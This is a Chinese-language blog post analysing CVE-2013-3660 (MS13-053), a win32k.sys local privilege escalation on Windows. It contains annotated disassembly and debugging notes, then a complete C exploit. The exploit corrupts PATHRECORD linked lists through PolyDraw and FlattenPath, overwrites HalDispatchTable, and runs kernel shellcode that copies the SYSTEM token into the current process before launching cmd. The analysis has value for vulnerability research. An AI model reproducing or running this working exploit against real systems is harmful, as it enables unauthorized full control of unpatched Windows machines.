• CVE20133660(MS13053)漏洞分析


    0x00漏洞信息

    分析系统:win7 sp1

    漏洞文件:win32k.sys

    漏洞类型:本地权限提升

    0x01漏洞分析

    更具exp 分析是在bFlatten函数里面的pprFlattenRec 执行过程

    /* MAX_PT_NUM = e194dfb8 - e194d028 = f90/sizeof(PT) = 1F2 = 498
    e194d008 e199d008 e194dfbc 00000fc0 e199d014 e199d008->prev alloc e194dfbc->freestart 00000fc0 total_size
    e194d018 00000000 00000011 000001f3 00000000
    e194d028 00000000 14141410 24242420 14141410
    e194d038 24242420 14141410 24242420 14141410
    ...
    e194dfa8 24242420 14141410 24242420 14141410
    e194dfb8 24242420 00000000 00000000 00000000
    * 调试:
    * 1 使用498*4首先将系统的freelist清0; <-我虚拟机初始就有3个节点
    * 2 第二次PolyDraw少几个节点 (必须 > 8),这样就会有几个PT的空间腾出了
    * 3 FlattenPath
    * 第一次调用EPATHOBJ::newpathrec (*pcMax = e > 8 不会调用win32k!newpathalloc)
    直接返回一个指向0x414141 0x42424242内存区域
    第二次调用EPATHOBJ::newpathrec->win32k!newpathalloc此时freelist=NULL,调用win32k!PALLOCMEM
    此时如果内存分配失败,或者自己在用winbdg改成NULL
    此时新创建的newpathrec已插入EPath->ppath->pprfist 但是 newpathrec->next = 0x41414140
    4 FlattenPath
    提权
    */

    text:BF873B37                 mov     edi, edi
    .text:BF873B39                 push    ebp
    .text:BF873B3A                 mov     ebp, esp
    .text:BF873B3C                 sub     esp, 0E0h
    .text:BF873B42                 push    7FFFFFFFh       ; unsigned int
    .text:BF873B47                 lea     eax, [ebp+var_C] ; 后面循环的节点
    .text:BF873B4A                 push    eax             ; unsigned int *
    .text:BF873B4B                 lea     eax, [ebp+var_4] ; 会被返回一个新点
    .text:BF873B4E                 push    eax             ; struct _PATHRECORD **
    .text:BF873B4F                 mov     [ebp+var_8], ecx ; this
    .text:BF873B52                 call    ?newpathrec@EPATHOBJ@@IAEHPAPAU_PATHRECORD@@PAKK@Z ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
    .text:BF873B57                 cmp     eax, 1
    .text:BF873B5A                 jz      short loc_BF873B63
    .text:BF873B5C                 xor     eax, eax
    .text:BF873B5E                 jmp     locret_BF873D2C ; 结束
    .text:BF873B63 loc_BF873B63:                           ; CODE XREF: EPATHOBJ::pprFlattenRec(_PATHRECORD *)+23↑j
    .text:BF873B63                 push    ebx
    .text:BF873B64                 push    esi
    .text:BF873B65                 mov     esi, [ebp+var_4] ; 新节点
    .text:BF873B68                 push    edi
    .text:BF873B69                 mov     edi, [ebp+arg_0] ; 当前节点
    .text:BF873B6C                 mov     eax, [edi+4]    ; 当前节点prve
    .text:BF873B6F                 mov     [esi+4], eax    ; 新节点prve
    .text:BF873B72                 lea     ebx, [esi+0Ch]
    .text:BF873B75                 and     dword ptr [ebx], 0
    .text:BF873B78                 mov     eax, [edi+8]    ; flag
    .text:BF873B7B                 and     eax, 0FFFFFFEFh ; 不保留这一位10
    .text:BF873B7E                 mov     [esi+8], eax    ; 新节点=flag
    .text:BF873B81                 cmp     dword ptr [esi+4], 0 ; 上一个节点是否为空
    .text:BF873B85                 jnz     short loc_BF873B92 ; 上一个节点不空时
    .text:BF873B87                 mov     eax, [ebp+var_8] ; this
    .text:BF873B8A                 mov     eax, [eax+8]
    .text:BF873B8D                 mov     [eax+14h], esi  ; 把当前节点 覆盖为新节点
    .text:BF873B90                 jmp     short loc_BF873B97 ; flag
    .text:BF873B92                 mov     eax, [esi+4]    ; 把上一个节点next=新节点
    .text:BF873B95                 mov     [eax], esi      ; exp=esi  任意地址写入
    .text:BF873D01                 mov     eax, [esi+0Ch]
    .text:BF873D04                 lea     ecx, [esi+eax*8+10h]
    .text:BF873D08                 mov     eax, [ebp+var_8]
    .text:BF873D0B                 mov     edx, [eax+8]
    .text:BF873D0E                 mov     edx, [edx+10h]
    .text:BF873D11                 mov     [edx+4], ecx
    .text:BF873D14                 mov     edi, [edi]      ; 当前节点next
    .text:BF873D16                 mov     [esi], edi      ; 新节点next=当前节点next  exp跳板写入
    .text:BF873D18                 test    edi, edi
    .text:BF873D1A                 jnz     short loc_BF873D24 ; 最后把当前节点 写入
    .text:BF873D1C                 mov     eax, [eax+8]
    .text:BF873D1F                 mov     [eax+18h], esi

    0x02exp

    /*
     * windows EPATHOBJ::pprFlattenRec bug poc by boywhp@126.com
     * tested in windows 2003 x86
     * THX -> http://www.vupen.com/blog/20130723.Advanced_Exploitation_Windows_Kernel_Win32k_EoP_MS13-053.php
     */
     
    #include <stdlib.h>
    #include <stdio.h>
    #include <STDARG.H>
    #include <stddef.h>
    #include <windows.h>
    #include <Shellapi.h>
     
    #pragma comment(lib, "gdi32")
    #pragma comment(lib, "kernel32")
    #pragma comment(lib, "user32")
     
    //1024 * 4k = 4M
    #define MAX_PAGES       1024
    #define MAX_POLYPOINTS (MAX_PAGES*498)                
     
    POINT   Points[MAX_POLYPOINTS];
    BYTE    PointTypes[MAX_POLYPOINTS];
     
    // Copied from winddi.h from the DDK
    #define PD_BEGINSUBPATH   0x00000001
    #define PD_ENDSUBPATH     0x00000002
    #define PD_RESETSTYLE     0x00000004
    #define PD_CLOSEFIGURE    0x00000008
    #define PD_BEZIERS        0x00000010
     
    #define ENABLE_SWITCH_DESKTOP   1
     
    typedef struct  _POINTFIX
    {
            ULONG x;
            ULONG y;
    } POINTFIX, *PPOINTFIX;
     
    // Approximated from reverse engineering.
    typedef struct _PATHRECORD {
            struct _PATHRECORD *next;
            struct _PATHRECORD *prev;
            ULONG               flags;
            ULONG               count;
            POINTFIX            points[4];
    } PATHRECORD, *PPATHRECORD;
     
    typedef struct _RTL_PROCESS_MODULE_INFORMATION {
            HANDLE Section;                 // Not filled in
            PVOID MappedBase;
            PVOID ImageBase;
            ULONG ImageSize;
            ULONG Flags;
            USHORT LoadOrderIndex;
            USHORT InitOrderIndex;
            USHORT LoadCount;
            USHORT OffsetToFileName;
            UCHAR  FullPathName[ 256 ];
    } RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
     
    typedef struct _RTL_PROCESS_MODULES {
            ULONG NumberOfModules;
            RTL_PROCESS_MODULE_INFORMATION Modules[1];
    } RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
     
    typedef INT ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
    typedef INT ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
    typedef INT ( __stdcall *NtReadVirtualMemory_)( HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
    typedef PVOID (__stdcall *PsGetCurrentProcess_)();
    typedef PVOID (__stdcall *PsReferencePrimaryToken_)(PVOID Process);
    typedef INT (__stdcall *PsLookupProcessByProcessId_)(HANDLE ProcessId, PVOID *Process);
     
    NtQueryIntervalProfile_  NtQueryIntervalProfile;
    NtQuerySystemInformation_ NtQuerySystemInformation;
    NtReadVirtualMemory_ NtReadVirtualMemory;
     
    typedef struct _ShellCodeInfo{
            PVOID* MmUserProbeAddress;
            PVOID* WriteToHalDispatchTable;
            PVOID  NtSetEaFile;
            PVOID* PsInitialSystemProcess;
            DWORD  Pid;
            PsGetCurrentProcess_ PsGetCurrentProcess;
            PsLookupProcessByProcessId_ PsLookupProcessByProcessId;
            PsReferencePrimaryToken_ PsReferencePrimaryToken;
    } ShellCodeInfo, *PShellCodeInfo;
     
    ShellCodeInfo   GlobalInfo;
     
    PPATHRECORD     pExploitRecord;                 // 必须对齐 (>>4) ,使用动态申请
    PATHRECORD      ExploitRecordExit = {0};
     
    #if defined (_WIN64)
    #define MAX_FAST_REFS 15
    #else
    #define MAX_FAST_REFS 7
    #endif
     
    int __stdcall ShellCode(PVOID x, PVOID y, PShellCodeInfo* pInfo, PVOID w)
    {
            PShellCodeInfo info; //__SHELL_CODE_MAGIC;
            PVOID targetProcess, sysProcess, token;
            ULONG_PTR *p1, *p2;
             
            //info = *pInfo;
    #ifdef _WIN64 
            info = (PShellCodeInfo)0x13A80;
            /* FIX MmUserProbeAddress -> ((ULONG_PTR)(0x80000000000UI64 - 0x10000)) */
            *info->MmUserProbeAddress = ((ULONG_PTR)(0x80000000000UI64 - 0x10000));
    #else
            //info = (PShellCodeInfo)0x136E0;
            info = *pInfo;
            *info->MmUserProbeAddress = 0x7fff0000;
    #endif
            /* x64 4参数: rcx, rdx, r8, r9 -直接c3即可 */
            *info->WriteToHalDispatchTable = info->NtSetEaFile;
             
            //if (info->PsLookupProcessByProcessId(info->Pid, &targetProcess) != 0)
            //        return 0xC0000019;
             
            p1 = targetProcess = info->PsGetCurrentProcess();
            p2 = sysProcess = *info->PsInitialSystemProcess;
            token = info->PsReferencePrimaryToken(sysProcess);
             
            /* token 4bit->refcnt */
            while ((*p2 & ~MAX_FAST_REFS) != token){
                    p1++;
                    p2++;
            }
             
            *p1 = token;
             
            return 0xC0000018;
    }
     
    static int do_expoite(PVOID* addr, PVOID val, PBYTE cmd, PBYTE argv)
    {
            HDC     expDc, curDc = NULL;
            ULONG   i;
            ULONG   Size;
            INT     ret = -1;
            PBYTE   tmp = NULL;
            HDC     tmpHdc[8096] = {0};
            ULONG   hdcNum = 0;
            BYTE    progressT[] = "-\\|/-\\|/";
     
            //init ExploitRecordExit node
            ExploitRecordExit.next = NULL;
            ExploitRecordExit.next = NULL;
            ExploitRecordExit.flags = PD_BEGINSUBPATH;
            ExploitRecordExit.count = 0;
     
            //
            //ensue ExploitRecord.next -> valid address and end record
            //ExploitRecord.next -> ExploitRecordExit node
            //
            pExploitRecord = VirtualAlloc(NULL,
                    sizeof(PATHRECORD),
                    MEM_COMMIT | MEM_RESERVE,
                    PAGE_READWRITE);
     
            pExploitRecord->next  = &ExploitRecordExit;
            pExploitRecord->prev  = (PPATHRECORD)addr;
            pExploitRecord->flags = PD_BEZIERS | PD_BEGINSUBPATH;
            pExploitRecord->count = 4;
     
            printf("Alllocated PATHRECORDS:%p %p\n",
                            pExploitRecord,
                            &ExploitRecordExit);
     
            tmp = malloc((int)ShellCode);
             
            //
            // Generate a large number of Belier Curves made up of pointers to our
            // PATHRECORD object.
            //
            
            for (i = 0; i < MAX_POLYPOINTS; i++) {
    #ifdef _WIN64
                    Points[i].x      = (ULONG)(pExploitRecord) >> 4;
                    Points[i].y      = 0;//(ULONG)(pExploitRecord) >> 4;
    #else
                    Points[i].x      = (ULONG)(pExploitRecord) >> 4;
                    Points[i].y      = (ULONG)(pExploitRecord) >> 4;
    #endif
                    PointTypes[i]    = PT_BEZIERTO;
            }
             
            /* MAX_PT_NUM = e194dfb8 - e194d028 = f90/sizeof(PT) = 1F2 = 498
            e194d008  e199d008 e194dfbc 00000fc0 e199d014  e199d008->prev alloc e194dfbc->freestart 00000fc0 total_size
            e194d018  00000000 00000011 000001f3 00000000
            e194d028  00000000 14141410 24242420 14141410
            e194d038  24242420 14141410 24242420 14141410
            ...
            e194dfa8  24242420 14141410 24242420 14141410
            e194dfb8  24242420 00000000 00000000 00000000
             * 调试:
             * 1 使用498*4首先将系统的freelist清0; <-我虚拟机初始就有3个节点
             * 2 第二次PolyDraw少几个节点 (必须 > 8),这样就会有几个PT的空间腾出了
             * 3 FlattenPath
             *      第一次调用EPATHOBJ::newpathrec (*pcMax = e > 8 不会调用win32k!newpathalloc)
                    直接返回一个指向0x414141 0x42424242内存区域
                    第二次调用EPATHOBJ::newpathrec->win32k!newpathalloc此时freelist=NULL,调用win32k!PALLOCMEM
                    此时如果内存分配失败,或者自己在用winbdg改成NULL
                    此时新创建的newpathrec已插入EPath->ppath->pprfist 但是 newpathrec->next = 0x41414140
               4 FlattenPath
                    内存违规!!!
             */
     
            expDc = CreateCompatibleDC(GetDC(NULL));
             
            while (curDc = CreateCompatibleDC(GetDC(NULL))) {
                    tmpHdc[hdcNum++] = curDc;
    try_again:
                    BeginPath(curDc);
                    if (!PolyDraw(curDc, Points, PointTypes, MAX_POLYPOINTS)){
     
                            BeginPath(expDc);
                            PolyDraw(expDc, Points, PointTypes, 498);
                            EndPath(expDc);
                             
                            BeginPath(expDc);
                            PolyDraw(expDc, Points, PointTypes, 498-15);
                            EndPath(expDc);
     
                            for (i=MAX_PAGES-1; i>0; i--){
                                    BeginPath(curDc);
                                    if (PolyDraw(curDc, Points, PointTypes, 498*i)){
                                            printf("start poc %d...\n", i);                                       
     
                                            FlattenPath(expDc);
     
                                            //free the last -> freelist
                                            BeginPath(curDc);
     
                                            FlattenPath(expDc);
     
                                            //do exp
                                            ret = NtReadVirtualMemory((HANDLE)-1,
                                                    tmp,
                                                    tmp,
                                                    (SIZE_T)ShellCode,
                                                    GlobalInfo.WriteToHalDispatchTable
                                                    );
                                             
                                            if (ret == 0){
                                                    NtQueryIntervalProfile(&GlobalInfo, &ret);
                                                    printf("[*] exploit...%x!\n", ret);
                                                    ret = 0;
                                            } else {
                                                    printf("exp faild :-<!\n");                                              
                                                     
                                                    ret = -1;
                                                    goto try_again;
                                            }
     
                                            goto clean_up;
                                    }
                            }
                    }
                    printf("%c\r", progressT[(hdcNum/8) % 8]);
            }
     
    clean_up:
            printf("cleaning up...\n");
     
            for (i = hdcNum; i > 0; i--)
                    DeleteDC(tmpHdc[i]);
     
            free(tmp);
            VirtualFree(pExploitRecord, 0, MEM_RELEASE);
     
            return ret;
    }
     
    int main(int argc, char **argv)
    {
     
            HMODULE ntoskrnl = NULL;
            LONG ret;
            BOOL bRet = FALSE;
            HMODULE  ntdll;
            PRTL_PROCESS_MODULES mod = (PRTL_PROCESS_MODULES)&mod;
            PBYTE osBase;
            HMODULE hDllOs;     
            ULONG NeededSize;
            INT expCount = 0;
     
            STARTUPINFO si = {0};
            PROCESS_INFORMATION pi = {0};
     
            si.cb = sizeof(si);
     
            //GlobalInfo.Pid = GetCurrentProcessId(); //pi.dwProcessId;
            printf("------------ epath Exp by boywhp@126.com ------------\n\n");
     
            ntdll = GetModuleHandle("ntdll.dll");
     
            NtQueryIntervalProfile = (NtQueryIntervalProfile_)GetProcAddress(ntdll, "NtQueryIntervalProfile");
            NtQuerySystemInformation = (NtQuerySystemInformation_)GetProcAddress(ntdll, "NtQuerySystemInformation");
            NtReadVirtualMemory = (NtReadVirtualMemory_)GetProcAddress(ntdll, "NtReadVirtualMemory");
     
            if (!NtQueryIntervalProfile
                    || !NtQuerySystemInformation
                    || !NtReadVirtualMemory){
                    printf("error get ntdll fun address\n");
                    return -1;
            }               
             
            /*
            * NtQuerySystemInformation query sys module info
            * STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
            */
            ret = NtQuerySystemInformation(11, mod, 4, &NeededSize);
            if (0xC0000004 == ret){
                    mod = malloc(NeededSize);
                    ret = NtQuerySystemInformation(11, mod, NeededSize, NULL);
                     
            }
             
            printf("ntos:%s->%p\n",
                    mod->Modules[0].FullPathName + mod->Modules[0].OffsetToFileName,
                    mod->Modules[0].ImageBase);
             
            osBase = mod->Modules[0].ImageBase;
            hDllOs = LoadLibraryA((LPCSTR)(mod->Modules[0].FullPathName + mod->Modules[0].OffsetToFileName));
            if (!hDllOs){
                    printf("error reload os kernel\n");
                    return -1;
            }
            free(mod);
             
            GlobalInfo.WriteToHalDispatchTable = (PBYTE)GetProcAddress(hDllOs, "HalDispatchTable")
                    - (PBYTE)hDllOs + osBase + sizeof(PVOID);
            GlobalInfo.PsInitialSystemProcess = (PBYTE)GetProcAddress(hDllOs, "PsInitialSystemProcess")
                    - (PBYTE)hDllOs + osBase;
            GlobalInfo.PsReferencePrimaryToken = (PBYTE)GetProcAddress(hDllOs, "PsReferencePrimaryToken")
                    - (PBYTE)hDllOs + osBase;
            GlobalInfo.PsGetCurrentProcess = (PBYTE)GetProcAddress(hDllOs, "PsGetCurrentProcess")
                    - (PBYTE)hDllOs + osBase;
            GlobalInfo.PsLookupProcessByProcessId = (PBYTE)GetProcAddress(hDllOs, "PsLookupProcessByProcessId")
                    - (PBYTE)hDllOs + osBase;
            GlobalInfo.MmUserProbeAddress = (PBYTE)GetProcAddress(hDllOs, "MmUserProbeAddress")
                    - (PBYTE)hDllOs + osBase;
            GlobalInfo.NtSetEaFile = (PBYTE)GetProcAddress(hDllOs, "NtSetEaFile")
                    - (PBYTE)hDllOs + osBase;
     
            printf("Info %p \nHalDispatchTable %p MmUserProbeAddress %p NtSetEaFile %p \n",
                            &GlobalInfo,
                            GlobalInfo.WriteToHalDispatchTable,
                            GlobalInfo.MmUserProbeAddress,
                            GlobalInfo.NtSetEaFile);
     
            do_expoite(GlobalInfo.MmUserProbeAddress,
                    NULL,
                    argv[1],
                    argc > 2 ? argv[2] : NULL);
             
            printf("[*]exe %s\n", argv[1]);
            if (!CreateProcess(NULL,        // No module name (use command line)
                    "cmd",
                    NULL,
                    NULL,
                    FALSE,
                    0,                      //CREATE_NEW_CONSOLE | CREATE_SUSPENDED,
                    NULL,
                    NULL,
                    &si,
                    &pi)){
                    printf("CreateProcess failed (%d)./n", GetLastError());
                    return -1;
            }
             
            //ResumeThread(pi.hThread);
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
     
            return 0;
    }
  • 相关阅读:
    【css】如何实现响应式布局
    【PHP】foreach语法
    【css】cursor鼠标指针光标样式知识整理
    【JavaScript】修改图片src属性切换图片
    【PHP】PHP中的排序函数sort、asort、rsort、krsort、ksort区别分析
    【PHP】常用的PHP正则表达式收集整理
    【Mysql】mysql中bigint、int、mediumint、smallint 和 tinyint的取值范围
    js获取url参数的方法
    SQL Server 2008 geometry 数据类型
    SQL Server 存储过程之基础知识(转)
  • 原文地址:https://www.cnblogs.com/feizianquan/p/15887340.html
Copyright © 2020-2023  润新知